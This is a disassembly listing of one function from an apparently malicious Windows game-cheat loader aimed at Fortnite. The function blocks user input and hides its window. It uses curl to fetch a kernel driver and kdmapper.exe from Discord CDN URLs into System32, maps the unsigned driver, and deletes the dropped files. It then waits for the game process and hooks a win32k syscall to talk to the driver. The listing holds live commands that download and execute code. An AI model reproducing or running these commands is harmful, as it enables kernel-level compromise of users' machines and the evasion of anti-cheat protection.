Function at 0x1400478b0
Capabilities:
Delete file
Enumerate gui resources
Enumerate processes
Execute command
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x14005b028]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov r15d, 0xf
mov qword [rsp + 0x78], r15
mov byte [rsp + 0x60], r14b
lea rdx, str._Window_will_close_when_loading_drivers__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488c0
lea rdx, str._r_n____________________________________________________________________________________r_n________________________________________________________________________________r_n_____________________________________________________________________r_n________________________________________________________________________r_n___________________________________________________________________________r_n______________________________________________________________________________r_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488c0
lea rdx, str.__________Do_you_want_to_Load_drivers___Y_N_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488c0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140048a90
lea rcx, [rsp + 0x60]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x78]
cmp rsi, 0x10
cmovae rcx, rdi
mov rbx, qword [rsp + 0x70]
cmp rbx, 1
jne 0x140047983
mov r8, rbx
lea rdx, [0x140052dc8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400479fd
lea rcx, [rsp + 0x60]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 1
jne 0x1400479a9
mov r8, rbx
lea rdx, [0x14004cd2c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400479fd
lea rcx, [rsp + 0x60]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 3
jne 0x1400479cf
mov r8, rbx
lea rdx, [0x140052dcc]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400479fd
lea rcx, [rsp + 0x60]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 3
jne 0x140047b37
mov r8, rbx
lea rdx, [0x140052208]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140047b37
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor edx, edx
mov rcx, qword [0x14005bda0]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1154868814408855652_1155709045123063818_svhost.sys___output_C:WindowsSystem32driver.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1150614295206441050_1154591441595670569_kdmapper.exe___output_C:WindowsSystem32kdmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32kdmapper.exe_C:WindowsSystem32driver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 5
mov rcx, qword [0x14005bda0]
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rsp + 0x40], 1
lea rcx, [rsp + 0x40]
call fcn.140048c70
lea rcx, [0x140052974]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rbx, [0x14005b500]
mov rdx, rbx
cmp qword [0x14005b518], 0x10
cmovae rdx, qword [0x14005b500]
mov r8, qword [0x14005b510]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140049170
lea rdx, [0x140052f74]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488c0
mov rcx, rax
lea rdx, [0x14005219c]
call fcn.1400488c0
mov rcx, rax
lea rdx, [0x140052f70]
call fcn.1400488c0
cmp qword [0x14005b518], 0x10
cmovae rbx, qword [0x14005b500]
mov r8, qword [0x14005b510]
mov rdx, rbx
mov rcx, rax
call fcn.140049170
mov rcx, rax
lea rdx, str._Successfully_Loaded_Driver_
call fcn.1400488c0
mov qword [rsp + 0x40], 1
lea rcx, [rsp + 0x40]
call fcn.140048c70
lea rcx, [0x140052974]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32driver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32custom.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, [0x140052974]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edi, 0x1e
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14005bf78], eax
jle 0x140047be2
lea rcx, [0x14005bf78]
call fcn.140049a0c
cmp dword [0x14005bf78], 0xffffffff
jne 0x140047be2
xorps xmm0, xmm0
movups xmmword [0x14005d338], xmm0
mov qword [0x14005d348], 4
mov qword [0x14005d350], r15
mov dword [0x14005d338], 0x6578652e
mov byte [0x14005d33c], 0
lea rcx, [0x14004b040]
call fcn.140049cbc
nop
lea rcx, [0x14005bf78]
call fcn.1400499a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r15
mov byte [rsp + 0x40], 0
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140048e00
mov rbx, r14
mov qword [rsp + 0x50], rbx
nop
dec rdi
call fcn.140043090
mov rdx, qword [rsp + 0x58]
cmp rbx, rdx
jae 0x140047c44
lea rcx, [rbx + 1]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rcx, qword [rsp + 0x40]
mov byte [rcx + rbx], al
mov byte [rcx + rbx + 1], 0
jmp 0x140047c52
movzx r9d, al
lea rcx, [rsp + 0x40]
call fcn.140048f50
test rdi, rdi
je 0x140047c5e
mov rbx, qword [rsp + 0x50]
jmp 0x140047c10
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140048610
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140047ca7
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047ca2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047cf2
call fcn.1400498ec
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140047cfe
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047cf9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047cf9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400498ec
lea rdx, str._r_n____________________________________________________________________________________r_n________________________________________________________________________________r_n_____________________________________________________________________r_n________________________________________________________________________r_n___________________________________________________________________________r_n______________________________________________________________________________r_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400488c0
lea rcx, str.Waiting_for_Fortnite...
call fcn.140001420
cmp qword [0x14005be08], 0
jne 0x140047e0a
nop dword [rax + rax]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x238
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp - 0x80], 0x238
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140047da1
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x140047d96
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x140047d6e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 0x78]
jmp 0x140047dad
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
mov dword [0x14005be58], eax
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0x40]
lea rcx, [0x1400435c0]
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x140047de7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x140047de7
mov rax, qword [rsp + 0x40]
test rax, rax
jne 0x140047dea
mov rax, r14
mov qword [0x14005be08], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x14005be08], 0
je 0x140047d30
lea rcx, [0x140052974]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140047eb0
lea rdx, str.NtUserRegisterErrorReportingDialog
mov rcx, qword [0x14005bda8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14005be50], rax
test rax, rax
jne 0x140047e7c
lea rdx, str.NtUserRegisterErrorReportingDialog
mov rcx, qword [0x14005bdf0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14005be50], rax
test rax, rax
jne 0x140047e7c
lea rcx, str.The_driver_was_not_initialized_
call fcn.140001420
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x14005be50]
call fcn.1400422b0
mov qword [0x14005be60], rax
call fcn.140044c30
call fcn.140044930
call fcn.140043630
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3